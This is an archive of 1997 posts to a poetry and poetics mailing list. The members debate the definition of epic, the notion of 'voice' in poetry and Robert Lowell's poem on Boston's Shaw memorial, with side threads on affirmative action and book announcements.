> *epic, on the one hand, and literary epic on the other. In the strict sense Virgil or Dante or Milton have merely produced literary *imitations* of epic, rather than epic itself, at least in its ur-sense.... Where this puts Ashbery, et al., I don't know, but I see no profit in confusing all of these things into one category.... Are my questions of any use to you?*
>
> *Apologies for being so late and irrelevant, but I've been busy reading earnest student papers.*
>
> *Best wishes,*
> *George Thompson*
>
> *p.s. on individuality: individuum est ineffabile [Goethe].*

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422. **George Thompson**

Re: epic redux

Fri 16 May 1997

> *Of course, the Iliad's audience until quite recently assumed that Homer was an actual person who wrote the text that we have based on historical occurrences predating him by a generation or two. That audience derived its notion of what constituted epic accordingly. The formulaic phrases in Homer appear to be mnemonic devices, remnants of oral sources, not cliches. Your definition of epic is certainly novel; I assume it's exclusive to you. Or perhaps it's common knowledge where you come from.*

The formulaic phrases in Homer *are* mnemonic devices; they are also cliches [what is a cliche, after all?]. My definition of epic is shared with the Greeks themselves. The word "epos" itself simply means "word" [as in the winged kind]. Consider the so-called "Homeric" hymns, or Hesiod. Same meter, same genre. Not always about "arms and the man".... The very fact that these "Homeric" hymns are attributed to *Homer* shows that "epic" for the Greeks was rather different than it is for you. Look at the hymns to Demeter, to Aphrodite, to Athena, etc. These are, in the Greek sense, just as "epic" as the Iliad....

And then there is the Vedic word, where I come from.

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423. **hen**
Re: epic redux
Fri 16 May 1997

George Thompson, thanks for the Goethe quote. As far as epic, I think what I said about what distinguishes epic is that it is by/for/about the group agrees with what you wrote. But I think epic has also been a literary, written genre, BEGINNING with Homer (in the "west" at least). The Homer we start from - in written epics, I mean - is a real composition (both Iliad & Odyssey). I'm not a classicist & let's not start an argument about "Homer" as individual! But they're written poems. & I'm 3 ineffable individuals. The idea that Virgil & Milton are imitation epics is interesting (since they don't have the same direct roots in oral epic). But Homer - Ill & Odd - as we know them - are poems! Or I'll be a blue-nosed gopher. - HG

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424. **Gwyn McVay**
Re: like a fishbone
Fri 16 May 1997

The monument is in Boston and depicts Colonel Shaw, the guy played by Matthew Broderick or Tom Cruise or I forget who in the movie /Glory/, opposite Denzel Washington. The others depicted, whom Lowell calls "bell-cheeked Negroes" in the poem, are soldiers in the first black Union regiment to serve in the Civil War. If I understand it correctly, the regiment was subsequently wiped out in a huge battle. Anyway, if you look at the statue, you notice immediately that Col. Shaw is depicted in /much/ higher relief and detail than the men under his command. I always took it to mean that the monument "stuck in the city's throat" because, no matter how effaced they were individually, it still memorialized black men.

(I have to fess up: I just finished taking a class that went into Lowell in some detail--!) Bests, Gwyn

↑ Index

425. **hen**
Re: epic redux
Fri 16 May 1997

Can you tell us more about the Vedic word?

So you're saying the West lives in the shadow of an academicization of an imitation (Virgil). & among the Greeks "the word" (epos) permeated culture in a way that "the word" does today (the media, the news).

Classicism is revolution.
(Mandelstam)

- HG

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426. **Maria Damon**
Re: "voice"?
Fri 16 May 1997

---

this is all well and good, and i agree with it to a large degree, but it also sounds like poststructuralism 101, formulaic and not too inspired --or is that latter adjective itself taboo?

At 10:38 AM +1100 5/16/97, Pam Brown wrote:

> *Laurie's piece is called "What Whole Voice ? Notes For A Reading" and I'll quote from the section "Metaphysics"*
> *"What is this thing called "the voice"? I take it to be a metaphysical concept which represents "authority". It is a humanist concept of "authorisation"; of power over "lesser breeds without the law." It is logocentric. When "voice" is used in the context of this conference it is actually the "mind of the poet" (or "poetic" voice) which is the privileged item: an integrated mind; a mind with "integrity". Someone I know once prefaced a remark on poetics with the inclusive/exclusive "we poets..." - as though there were some poetic way of seeing things and that "we poets" were the privileged viewers (or "seers"). The "humanism" of "the voice" is, in this light, merely the backwash of romanticism. If "the voice" is "whole" in this sense, it is the "organic" (and "coherent" voice); the product of a constituted and authenticated "body of poetry".*
>
> *he continues with reflections on "voice" in "Performance" and so on...and a quote from the concluding section "Silence"...*
>
> *"The poem of "the voice" is too wrapped up in its own importance to leave any breathing space. It's a dead letter...."*
>
> *I post this because I agree with it.*
> *Best wishes,*
> *Pam Brown*

↑ Index

427. **Maria Damon**
Re: like a fishbone
Fri 16 May 1997

---

what might have happened had lowell gone for madonna in one of his manic episodes?

like a fishbone
stuck for the very first time
with your heartbeat
next to mine...

↑ Index

428. **Rachel Loden**
non-voice not-speaking (importantly)
Fri 16 May 1997

Dodie B. wrote (in part):

> *While I agree that this is a marvelous quote, and I agree with all the critiques of the notion of voice that have been expressed here lately (the ones I read, I'm sure I missed a few), I would like to add one tiny sour note to all of this--namely in the works of poets who oppose the notion of voice, many a time I've seen their non-voice just as wrapped up in its own importance as the voice mentioned above.*

Thank you, Dodie.

RL

"Things are more like they are now than they ever were before."

--Dwight D. Eisenhower

↑ Index

429. **henry**
Re: like a fishbone
Fri 16 May 1997

Col. Robert Gould Shaw also died in the battle.
- Henry Gould

↑ Index

430. **henry**
Re: "voice"?
Fri 16 May 1997

I think poetry is the voice of a human person expressing some integrated (or dis/integrated, same thing) meaning. You can't escape meaning, and voice is the means of making it vivid, poetic, creating wonder. There is a critical/philosophical debate here that poets can get into & (I) shouldn't oversimplify, but it also seems to get awfully abstruse. Speaking as a pre-Socratic, wholeness includes partiality and non- identity. Wholeness is inescapable even if it's divided. Whole wheat, especially. - Henry Gould

↑ Index

431. **Sylvester Pollet**
Re: "voice"?
Fri 16 May 1997

Yeah, but Henry, aren't some people allergic to wheat? I don't see what all the fuss is about myself. Dodie hit it for me. Another way to think of "voice" is as a synonym for "chops," as in jazz, not lamb. Which doesn't mean every solo you blow will be the same, but it will have the years behind it. sp

> *I think poetry is the voice of a human person expressing some integrated (or dis/integrated, same thing) meaning. You can't escape meaning, and voice is the means of making it vivid, poetic, creating wonder. There is a critical/philosophical debate here that poets can get into & (I) shouldn't oversimplify, but it also seems to get awfully abstruse. Speaking as a pre-Socratic, wholeness includes partiality and non-identity. Wholeness is inescapable even if it's divided. Whole wheat, especially.*
> *- Henry Gould*

↑ Index

432. **Christopher Alexander**
affirmative action/where I'm calling from
Fri 16 May 1997

I'm sure these stats are all over the place by now, but...ran across an article in a (dreadful) local newspaper this morning, with the ironic headline "affirmative action". I'll just give you the end & the beginning--the rest, as you might imagine, is the usual journalistic tripe, giving "fair representation" to "experts" on both sides

without actually discussing the central issue,
except to negate it. anyway, it begins:

"The number of blacks admitted to the University
of California's Boalt Hall law school tumbled 81%
in the first year without affirmative action, and
Hispanic admissions fell 50%."

& ends:

"The Boalt dean said that instead of race, the law
school took into account any obstacles the applicants
had to overcome."

doesn't have much, I guess, to do with poetry--
but then again it probably has a hell of a lot to
do with it, too.

Chris
..
Christopher Alexander, etc.
nominative press collective

160S 1300E #16 / Salt Lake City UT 84102
[redacted]

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433. **henry**
Re: "voice"?
Fri 16 May 1997

---

agreed.

Time silvers the plow
and the poet's voice.
- Mandlestam

here's my brief definition of poetry: who can best it?

Poetry is a harmony of thought
brought to equivalent expression
in language.

- Henry

↑ Index

434. **oren.izenberg**
Re: like a fishbone
Fri 16 May 1997

Are you saying that this (the monument's capacity to gall the throat) is indicative of _Lowell's_ attitude? I will assume not--despite your lumping this interpretation together with the "damning" "bell-cheeked Negro infantry", or the "suspect" monument-- because this would be a serious misreading of the poem.

Even if it was true that Shaw was represented in higher relief than his regiment in the Shaw memorial, putting it in quite this way is deeply polemical. If the difference IS an expression of racism (rather than an expression of the fact that Shaw is sitting on a horse that is also rendered in relief and so, if you will pardon the technical jargon, sticks out further; or an expression of the fact that he commanded the regiment-- both of which facts certainly have to DO with racism, but then so did the Civil War, and on the whole perhaps we can agree that the Union side was more progressive in these matters) , it would much more likely be that of Augustus Saint-Gaudens who designed the monument-- dedicated in 1897.

Lowell, who was, by the way, related to Shaw, took for his epigraph the inscription on the monument (Relinquit Omnia Servare Publicam), changing, however, "relinquit" to "relinquunt"-- "He leaves all things to serve the Republic" became "They leave all things to serve the Republic"-- an act of commemoration that would have been particularly pointed in 1960. This is a poem AGAINST the city and its "attitudes"(parts of the city in any case-- the parts responsible for undermining the Boston Commons to build a parking garage, for replacing civic values with commercial ones-- in Lowell's Brahmmin lexicon this meant the Irish). And, by the way, this is a poem rather sophisticated in its understaning of the connections between the commercial appropriation of significant images and the prosecution of modern wars (in which Lowell refused to serve):

There are no statues for the lst war here;
on Boylston Street, a commercial photograph
shows Hiroshima boiling

over a Mosler Safe, the "Rock of Ages"
that survived the blast.

The point of all of this is not special pleading on Lowell's behalf. It simply irks me that it is possible to slang whatever "mainstream" poet-- because he uses "I", I suppose, because he is invested in "voice"-- with whatever other objectionable attitude seems most objectionable, and no one will particularly CARE if it is right or not-- as though there was nothing to learn from Lowell because he is well-- Lowell. There is no shortage of complexity in attitudes and beliefs-- and

granting a bit of nuance to Lowell will not reduce the stockpile for the rest of us.

Best,
O.
On Fri, 16 May 1997, Gwyn McVay wrote:

> *The monument is in Boston and depicts Colonel Shaw, the guy played by Matthew Broderick or Tom Cruise or I forget who in the movie /Glory/, opposite Denzel Washington. The others depicted, whom Lowell calls "bell-cheeked Negroes" in the poem, are soldiers in the first black Union regiment to serve in the Civil War. If I understand it correctly, the regiment was subsequently wiped out in a huge battle. Anyway, if you look at the statue, you notice immediately that Col. Shaw is depicted in /much/ higher relief and detail than the men under his command. I always took it to mean that the monument "stuck in the city's throat" because, no matter how effaced they were individually, it still memorialized black men.*
>
> *(I have to fess up: I just finished taking a class that went into Lowell in some detail--!) Bests, Gwyn*

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435. **Daniel Bouchard**
Re: like a fishbone
Fri 16 May 1997

As someone who has spent much time observing and appreciating this monument I must say that as much as I don't care for Lowell's poetry in general, this particular poem is quite an exception. The relief of the sculpture is very high. You can reach deeply into it, past the Colonel on his horse and behind him, several inches past the marching reginment (three men deep).

Shaw's sword once protruded out independently from the sculpture, a very real blade, pointing to the ground. It has been gone for many years (turned to a ploughshare?).

It is remarkable that the soldiers are depicted at all--that the monument is dedicated to the regiment, and not just to the commander. That Shaw is so prominent speaks to many things: he was the commander, he was white, he was symbolic of "progressive" Bostonians' attitude toward the war. i.e., white folks leading blacks out of slavery.

Fishbone or no, it is not nearly as bad and embarrassing as another Boston monument a half mile away toward the South End, in which a seven or eight foot tall Lincoln stands above kneeling and cowering newly-freed slaves, Lincoln's right hand over them, Christ-like.

I pass by the Shaw monument quite a bit. Usually, in all seasons, it is strewn with flowers

[redacted]

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436. **CHRIS MANN**
Re: "voice"?
Fri 16 May 1997

On Fri, 16 May 1997, henry wrote:

> *I think poetry is the voice of a human person expressing some integrated (or dis/integrated, same thing) meaning. You can't escape meaning, and*

meaning is rather a compulsive act of charity bestowed by an audient (not the same thing (and it is probably this not-sameness that is poetry (voice is just another way of saying oops)))

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437. **Rebecca Reynolds**
Re: voice
Fri 16 May 1997

>" Are we experiencing 'voice' or
> 'sexuality' when we greet or hold a controlled shaft of air moving from
> a dark place out into the world?"
>
> Yes--if we speak about THIS sort of voice, the auto-erotic, self-stimulating, bodily frequency -- we do bypass the self--that sticken, socially beset, inauthentic (possibly and depending) multi-tiered and ego-driven creation (lichened to the bark of a tree) also rather appealing in its complexity, a brocade.

There is always artifice--I think, after reading a number of posts, this is how I'll think about"voice"--as artifice. One's voice in a poem (if one has only one voice) is equally self-serving and self-defeating IF one's goal is "authenticity." I believe! (And doesn't an exclamation point do WONDERS for the voice?) Poet X, or the so-called workshop poem, the "McPoem," as Donald Hall calls it in Poetry and Ambition, is a great target--but everybody is hurling stuff at it as if it were truly monolithic. Is it? I mean if you avoid certain journals and national publications, you can pretty much refuse to engage . . . though I don't know if that is politically or emotionally healthy. Was just reading difficult passage of Rilke about submission being better than resistance because you still get to partake in Power. On the other hand, as a young poet trying to get stuff published

in journals, I resent the prevalence of a certain sort of taste exhibited by many journal editors for those flat "lyrics," though so often the song is missing. (There's nothing like rejection--that is, if you're looking to refine your ars poetica.)

thanks,
rebecca reynolds

"I must find a way out or I die in this diseased mainframe." --Lawnmower Man

↑ Index

438. Christopher Reiner
Interims
Fri 16 May 1997

I've been asked to post this, and it's my pleasure:

Cydney Chadwick, _Interims_.
3300 Press, 1997
Publisher's address: 300 Vicksburg #5, San Francisco, CA 94114.
E-Mail:[redacted]. 26 pp. $5.00. ISBN: 0-9646017-4-5.

"Cydney Chadwick's latest collection of short fictions mark a change in her work, and a radical deepening of her critique of our edge-of-a-new-millennium culture. Always dark-edged, her stories now have an intense chiaroscuro effect. Her characters are trapped in a ritualized interplay between the empowered and the powerless. And yet, this is not the fiction of fragmentation or divided selves. Instead, it is the fiction of identity held like a closely-guarded secret, barricaded against the assaults of the world. "In Interims, Chadwick's fictions are brave, incisive, and often disturbing. Her landscapes are rendered in deep focus, are unrelenting, and force the reader to take stock of the subtle and insidious changes in a world that repeatedly isolates and dehumanizes."

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439. Pritchett,Pat
Re: like a fishbone
Fri 16 May 1997

Recall this only too vaguely, but Michelle Cliff deals with the arguments over Saint-Gauden's various designs for the monument in _Free Enterprise_. I _think_ it ran along these lines: that originally he "hired" unemployed black Civil War vets to pose for the statue, thereby insuring a higher degree of authenticity -- they were also featured in a more prominent way in the design -

but the statue's backers nixed this idea and the final design relied on generic blacks - i.e. not taken from actual models. Cliff's book is fascinating for the way it deals with the relationship between the past and the designs used to commemorate the past, esp., as they bear on racism and the fate of the disenfranchised.

Patrick Pritchett

From: OREN.IZENBERG
To: POETICS
Subject: Re: like a fishbone
Date: Friday, May 16, 1997 10:32AM

Even if it was true that Shaw was represented in higher relief than his regiment in the Shaw memorial, putting it in quite this way is deeply polemical. If the difference IS an expression of racism (rather than an expression of the fact that Shaw is sitting on a horse that is also rendered in relief and so, if you will pardon the technical jargon, sticks out further; or an expression of the fact that he commanded the regiment-- both of which facts certainly have to DO with racism, but then so did the Civil War, and on the whole perhaps we can agree that the Union side was more progressive in these matters) , it would much more likely be that of Augustus Saint-Gaudens who designed the monument--dedicated in 1897.

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440. Jordan Davis
"voice" as long division
Fri 16 May 1997

Mr Mann's account of this jibes with an Adorno-bit I saw last night: that art is the remainder (the residue? which would tie it in with something Carolyn Forche said about the trace?) after the problem in the work has been solved. I know the meaning of certain writers' work became clearer after I heard them read -- Bruce Andrews, David Shapiro and Juliana Spahr are three I can think of right away. This is heading away from "voice" perhaps and towards "biography" "personality" "social (con)text" etc. That is, to what extent does "the meaning became clearer" in that sentence really mean "I became persuaded of the necessity of several tiny personal misunderstandings for my continued reception of the work of these people."

Actually I have no idea what Adorno means by solving problems in artwork. I like encryption as much as the next decaying system, but the problem much more often seems to do with my own capabilities not as a decoder ring but as a sympathizer. This, Henry, is why I balk at your Mandelstam motto. First of all,

to say that 'classicism is revolution' in the context of a revolutionary society is maybe too much of the pathos? That for that context, Isaac Babel teaching his daughter to answer the phone "Daddy's not here now" is maybe more to the point? Second, to appeal to "classicism" is maybe only to say "the only code which is acceptable is a preordained one" which never appeals to me when I think of writing as _not only_ making new forms but as making _new meanings_. It's only from a surveillance tower that it looks like nothing's new or it's all the same.

Maybe being a reader of this work ("this work") is being in the position of learning how to manage the surplus?

Arf! arf!
J

On Fri, 16 May 1997,
CHRIS MANN wrote:

> *On Fri, 16 May 1997, henry wrote:*
>
> *I think poetry is the voice of a human person expressing some integrated (or dis/integrated, same thing) meaning. You can't escape meaning, and*
>
> *meaning is rather a compulsive act of charity bestowed by an audient (not the same thing (and it is probably this not-sameness that is poetry (voice is just another way of saying oops)))*

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441. **Jordan Davis**
SUBPOFEST @ THE EAR 5/17 2:30
Fri 16 May 1997

At the Ear Inn this Saturday at 2:30
(Spring St, New York City)

Larry Price,
founder and chief executive officer of Subpoetics

reads with board members:

Rob Fitterman, Douglas Rothschild, Chris Stroffolino, Lisa Jarnot, Sherry Brennan, Jordan Davis, Bill Luoma, Juliana Spahr, and Rod Smith.

You've tried UBPoetics, now try SUBPoetics!

We love you,
J

↑ Index

442. Christopher Alexander
Re: like a fishbone
Fri 16 May 1997

Daniel rtttttttttt:
> I pass by the Shaw monument quite a bit. Usually, in all seasons, it is
> strewn with flowers

I always wondered at those flowers--frequently roses, & often yellow, as I recall, in 12-stem bunches or singly, among the mixed arrangmements.

The last year I was in Boston (last year), the monument was for awhile again "propped by a plank splint", during the construction of the <italic>new</italic> parking garage under the Common-- or the refurbishment of the old, I'm not sure now.

The de-/segregation issue of the day was whether queer advocacy groups could march in the St. Patrick's Day parade--we ended up with one, the traditional one, in South Boston, & separate one in Cambridge. <italic>"Reliquunt Omnia Servare Rem Publicam"</italic>.

I wonder if Shaw is still thus propped up?

Chris
..
Christopher Alexander, etc.
nominative press collective

160S 1300E #16 / Salt Lake City UT 84102
[redacted]

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443. Mark Weiss
Re: like a fishbone
Fri 16 May 1997

The monument, by St. Gaudens, is the subject of the first movement of Charles Ives' Three Places in New England.

At 08:21 AM 5/16/97 -0400, you wrote:
>The monument is in Boston and depicts Colonel Shaw, the guy played by
>Matthew Broderick or Tom Cruise or I forget who in the movie /Glory/,
>opposite Denzel Washington. The others depicted, whom Lowell calls
>"bell-cheeked Negroes" in the poem, are soldiers in the first black Union
>regiment to serve in the Civil War. If I understand it correctly, the

>regiment was subsequently wiped out in a huge battle. Anyway, if you look
>at the statue, you notice immediately that Col. Shaw is depicted in /much/
>higher relief and detail than the men under his command. I always took it
>to mean that the monument "stuck in the city's throat" because, no matter
>how effaced they were individually, it still memorialized black men.
>
>(I have to fess up: I just finished taking a class that went into Lowell
>in some detail--!) Bests, Gwyn
>
>

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444. Peter Larkin
Another New Pub
Fri 16 May 1997

Before this info is banned or side-slotted somewhere, could I mention a new book of mine from Prest Roots Press: Three Forest Conformities 41 pp (includes a 3pp essay). Available now direct from me at stlg4.50 plus stlg1.00 towards P&P for non-UK sales, or soon to be available with a dollar price through Paul Green's distribution catalogue. Nice to see The Prelude turning up in the conversations. It must have been an announcement once itself, though a posthumous one. Is that the sort this list now prefers? Peter

Peter Larkin
Philosophy & Literature Librarian
University of Warwick Library
Coventry CV4 7AL UK
Tel: 01203 528151 Fax: 01203 524211
Email: [redacted]

Peter Larkin
Philosophy & Literature Librarian
University of Warwick Library
Coventry CV4 7AL UK
Tel: 01203 528151 Fax: 01203 524211
Email: [redacted]

Peter Larkin
Philosophy & Literature Librarian
University of Warwick Library
Coventry CV4 7AL UK
Tel: 01203 528151 Fax: 01203 524211
Email: [redacted]

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445. Daniel Tessitore
Re: ALA conference
Fri 16 May 1997

Being a native of Bmore-city (where you can always B more) I would also recommend the Mt. Royal Tavern. Take Charles St. North from the harbor and turn left at Mt. Royal Ave. and proceed around past the Lyric Opera House--the MRT is on the left across the light-rail tracks.

DT

From: Hank Lazer[SMTP:[redacted]]
Sent: Friday, May 16, 1997 5:25 AM
To: [redacted]
Subject: Re: ALA conference

For those of you going to the upcoming ALA conference (next week in Baltimore?), please drop by the University of Alabama Press's booth and meet Curtis Clark, a senior editor with the Press. Curtis is quite interested in contemporary poetry and poetics, and he has been very supportive of a number of book projects of interest to Poetics List persons.

Hank Lazer

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446. David R. Israel
Re: affirmative action/where I'm calling from
Fri 16 May 1997

Christopher --

> *Subject: affirmative action/where I'm calling from*

besides the 1st term (a.action), am interested in the 2nd term ("where I'm calling from") -- title of Raymond Carver's collected stories (& of a story therein) -- the dude had an arresting voice (at least in prose) & I dare say used it well -- [the site where the caller was calling from, in context, was a rehab clinic -- but the "where" of that particular where (also) seems to open up, in the prhase's abstracting] --

an intentional allusion?

d.i.

.

.....

.....
\\\

> *only_ making new forms but as making _new meanings_. It's only from a surveillance tower that it looks like nothing's new or it's all the same.*

I know what you're saying, I think. It's just that the things George Thompson was mentioning opened up the idea that what we always thought was "old", classic, done, finished - has actually been misunderstood, misrepresented, unheard - & actually has something new to offer, if we look. - Henry

p.s. regarding Chris Mann's idea - I never thought of the reader creating meaning as an act of charity. (though some might feel that way about reading my innumerable postings.) I give the writer credit for organizing a prior meaning which is presented, though I may not "get" it the same way. But that's a different boring discussion. Now about those potatoes...

↑ Index

448. **Michael Boughn**
epic redux
Fri 16 May 1997

While George Thompson's summary of Milman Parry's theories regarding epic is accurate, it's a bit dated. In any case, certainly not, as presented, "fact". Norman Austin, I think, pretty much dealt with it in _Archery at the Dark of the Moon_.

Best,
Mike
[redacted]

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449. **dbkk**
(no subject)
Fri 16 May 1997

At 5:10 AM -0500 5/16/97, [redacted] wrote:

> *I would love to hear you go more into this idea of "non-voice" as "voice." It sounds fascinating (and, NO, you don't do that!)*

Ron, I don't think my ideas around this are complex enough to be "fascinating." My point was simply that to challenge the notion that writers of non-voice or language-centered (though I don't like that term) work, through their moral superiority, somehow evade various issues in the reader/writer relationship. This is vague, so allow me to meander into specifics. Actually, I try to keep things vague for myself to allow an intuitive reforming in my writing, I find that a mushy mind is much more useful to me than a sharp mind, as far as my writing goes. However, I've been teaching, and you have to come up with *something*

to say to them, so I have been formulating some stuff that I've avoided formulating in the past.

This last semester I took over the 2nd 8 weeks of a Comp A course for art students. Most of these students had turned to art in the first place because of a deep distrust and dislike of language. Three out of 14 were dysflexic, and many of the others wrote at what seemed to me a junior high school level (though they were all quite bright and articulate). They were there because they were forced to be there, most of them (thank god for me) were juniors and seniors, even though this was supposed to be a freshman course, because they'd avoided the course as long as possible. I sat in on a few classes the first 8 weeks, where the instructor lead them through listless discussions about things like "does journalism tell the truth," and presented writing in terms of logos, ethos, and pathos--the Greek, I supppose, communicating that Comp A was serious business. Anyway, walking into this dreadful situation I felt brave as Michelle Pfieffer in Dangerous Minds. And then there were the moral issues of teaching comp when I'd spent years trying to transcend linearity . . .

So, I decided that the first thing I would teach them is that "whether or not writing tells the truth" is an inappropriate way to look at things. We spent lots of time examining how all writing is artiface, a construct--even looked as interviews as a literary form rather than transcribed speech. I particularly wanted them to get out of the rut of believing they were writing the truth of their lives/feelings. I used the metaphor of seduction as a way to measure the success of any given piece, that the writer is involved in a seduction of the reader, and the success of a given piece is simply how well it succeeds in that seduction--NOT WHETHER IT TELLS THE TRUTH. I brought in a Christie's catalogue and had them each look through it and rip out the first picture that appealed to them--they enjoyed this ripping up of the book a lot. Then their assignment was to write "what about this piece seduced you." I was trying to get them to interact with the image, to give opinions other than "I liked this because" or "this sucks because." We made a field trip to the Kara Walker exhibit at SF MOMA (Walker's art, for those of you not familiar with it, deals with racism through the use of violent sexual imagery--the class very much liked that and many of them used it as an opportunity to put the word "fucking" into their essays)--I had them write about the exhibit and going to it, and the fact that it was hung in a museum, in terms of the specificity of viewing the work on that day, in that context, and how that impinged upon their take on the work. Obviously, this was about getting them beyond this once and for all time, godlike, disembodied perception of the work.

John Yau's essay in _The Poetics of Criticism_ was a big hit, by the way. John is able to make accessible some very basic, important things. The rebellious tone

of the piece appealed to the students. We also spent some time reading essays by Diane Arbus. One passage that we read has stuck with me:

"Everybody has that thing where they need to look one way but they come out looking another way and that's what people observe. You see someone on the street and essentially what you notice about them is the flaw. It's just extraordinary that we should have been given these peculiarities. And, not content with what we were given, we create a whole other set. Our whole guise is like giving a sign to the world to think of us in a certain way but there's a point between what you want people to know about you and what you can't help people knowing about you. And that has to do with what I've always called the gap between intention and effect."

So, back to the notion of writing as a seduction. One of my pleasures of reading is allowing myself to be seduced, to be thrilled, to abandon my will to Edith Wharton, for instance. I think the discomfort comes in when I feel, not seduced, but manipulated--this is a fine line--when that gap between intention and effect becomes too apparent and I feel ripped off. Many of the criticisms of voice poetry "voiced" here were about how the point of it is to make the "I" sound deep. We're not really supposed to share the epiphany, we're supposed to marvel at the epihaner. But, I think the non-I in many "language-centered" works is just as manipulative and transparent. Instead of an emotional epiphany we're lead to an intellectual epiphany--and in the worst scenerio what we're really supposed to marvel at is the smarts of the non-I who's generating this text. The non-I best seduces me when I don't see this massive frail ego behind it begging for approval. Not that begging for approval is a bad thing, it can be done to great effect if you're upfront about it--in the work of the artist Candy Ass, for instance.

So, you see, Ron, what I was saying is quite simple.

Dodie

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450. Christina Fairbank Chirot

Re: epic redux

Fri 16 May 1997

I'm getting a kick out of George Thompson's linking of cliche and epic.

There's ever a bizarre humor at work in "poetic justice" . . .

Baudelaire wrote that he aspired to the writing of cliches. (Unfortunately for him, the only cliche to emerge from his work is "Benjamin's Baudelaire". Appropriation & all, you know--)

Flaubert as well had a fascination with cliches: Bouvard et Pecuchet bear witness.

And isn't Don Quixote about the "epic struggle" WITH cliches?

"Tilting at windmills" and all--

In Jim Thompson's books The Killer Inside Me and Pop. 1280 you'll find the cliche used as a means for trying to cope with killing. " Boring people to death" with cliches seems almost as fun to Deputy Sheriff Lou Ford (in The Killer) as out right killing them--almost, but not quite.

Jack Kerouac wrote in "The Vanishing American Hobo" that the Law operates with one line of justice and nine of boredom . . .

Is that an "epic" "measure" for "poetic justice"?

(BTW re OJ--he's not the only former Heisman Trophy winner in trouble with the Man--look at what happened to Charlie Ward the other night in the Heat-Knicks game . . .")

"I can feel the heat closing in . . . " Wm. S. Burroughs, Naked Lunch

--dave chirot

↑ Index

451. Aldon L. Nielsen
Re: affirmative action/where I'm calling from
Fri 16 May 1997

There's a realtively new, slender book by Amy Gutman and Kwame Anthony Appiah (sorry I don't have the title -- the book and I are in different states) in which Gutman provides a straightforward and commonsensical critique of the logic that denies the relevance of race in admissions etc but allows "other" disabilities such as income -- Her questions are so clear that you can't help imagining Ward Connerly and Pete Wilson trying to answer them --

We've already seen editorials in California in response to these statistics claiming that they constitute "proof" that unqualified blacks and Hispanics were bsing admitted previously -- however, none of these editorials cites the actual admission standards employed (that is, at most law schools of this quality, huge numbers of "qualified" applicants are turned away each year -- the argument is really about who aming those meeting the entry-level requirements will actually enter)

"aming" equals "among" etc -- you can tell from the errors in my posts that I am back at that uncorrectable system in Boulder

↑ Index

452. Christopher Alexander
Re: affirmative action/where I'm calling from
Fri 16 May 1997

David writ:
> an intentional allusion?

"allusion" is strong. not to be
enigmatic, but--perhaps they
mean something. I dunno. I
just meant to say--or rather I
was thinking at the time that
the rhetoric of the article was
reflective of a racist subtext
in american culture that's all
too evident, really. what you
see is what came out, but those
words
they probably mean
something--maybe something
else entirely. if I had the
Carver in front of me--or, that
is, if I had time to go get it--I
work in a library ferchrissake--
I'd try for a cogent read.

is that any help? probably not.
I do like Carver, though.

Chris
..
Christopher Alexander, etc.
nominative press collective

160S 1300E #16 / Salt Lake City UT 84102
[redacted]

↑ Index

453. David Israel
Re: affirmative action/where I'm calling from
Fri 16 May 1997

Aldon L. Nelsen saith:

> *"aming" equals "among" etc . . .*

i aming what i aming
& that's all that i aming

- Popeye The Sailor-Man
  in a gerunding epoch
  of epic poeticsing
  (paraphrasing Jah)

↑ Index

454. **David Israel**
er pardon moi
Fri 16 May 1997

> *Aldon L. Nelsen saith:*

or rather, Nielsen

(buffalo or no)

p.s.: re: epic in "Vedic" sense, per George Thompson [an Indologist who surely knows a lot more than he's letting on in that regard, so far] --

the two grand "epics" [under what equivalent-ish rubirc, I'm not sure] of India [but not Vedic, in the sense not part of the Vedas, though chronicling events that prob. were concurrent w/ Vedic epoch more or less] are, of course, the Mahabharata (attributed to a chap named Vyasa) and the Ramayana (attributed to a bloke called Valmiki) --

the "Valmiki" and the "Vyasa" of these 2 epics
sure seem to be presented as individual writers
much in the way that Homer is so (re)presented . . .

I'm sure there's been critique of that traditional assumption along lines akin to the critique(s) of "Homer" as being Homer --

I tend to like the idea of a "real" Valmiki & a "real" Vyasa, though lord knows those vast oral epics must've rolled along for many many generations, so there are some arguments in favor of the other side o' the teeter-totter . . .

the issue of authorship of the Sanskrit "Valmiki" Ramayana anyway contrasts w/ the more recent vernacular versions in India --

the 2 main ones (so far as I know) being the medieval Hindi version written (very creatigely) by Tuilsidas (certainly a biographical individual, far as I've ever heard) and a So. Indian version (Tamil, I think) by someone called Kamban

(my info more or less comes from C. Rajagopalachari's popular paperback translations of the 2 epics, & his discussion of same,)

that's a very quick sketch of "epic" field anent India, tho I'd love to hear more from George T. as to what he had in mind (not to mention, where he's calling from) . . .

d.i.

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455. **Joe Safdie**
Re: cliches and murder
Fri 16 May 1997

On Fri, 16 May 1997, Christina Fairbank Chirot wrote:

> Baudelaire wrote that he aspired to the writing of cliches.
> (Unfortunately for him, the only cliche to emerge from his work is
> "Benjamin's Baudelaire". Appropriation & all, you know--)
>

As a lover of this particular essay by Benjamin, I plead guilty to using the term as shorthand every so often -- but is it really a cliche?

> In Jim Thompson's books The Killer Inside Me and Pop. 1280 you'll
> find the cliche used as a means for trying to cope with killing. " Boring
> people to death" with cliches seems almost as fun to Deputy Sheriff Lou
> Ford (in The Killer) as out right killing them--almost, but not quite.
>

This reminds me of one of my favorite short stories, Flannery O'Connor's _A Good Man Is Hard To Find_, where she kills off an entire family because of their cliche-ridden lives; my class last quarter found it boring, though -- I guess random violence has become too normal to shock anymore. In fact, isn't "random violence" a cliche? Was it Blake, in one of the _Proverbs of Hell_, who said that if you weren't capable of the (something, something) striking of a character, you weren't practicing art? Or as Ed Dorn said once in an essay, "People talk a lot about abortion, but I see people who should have been aborted EVERY DAY."

> Jack Kerouac wrote in "The Vanishing American Hobo"
> that the Law operates with one line of justice and nine of boredom . . .
>

The usual reaction to cliches is of course boredom, but I've started putting quotation marks around them when I find them in student papers. Presto! Sophisticated, self-conscious literary essays, aware of the ambiguities and problems of "voice."

> (BTW re OJ--he's not the only former Heisman Trophy winner in
>t trouble with the Man--look at what happened to Charlie Ward the other

> night in the Heat-Knicks game . . .")
>
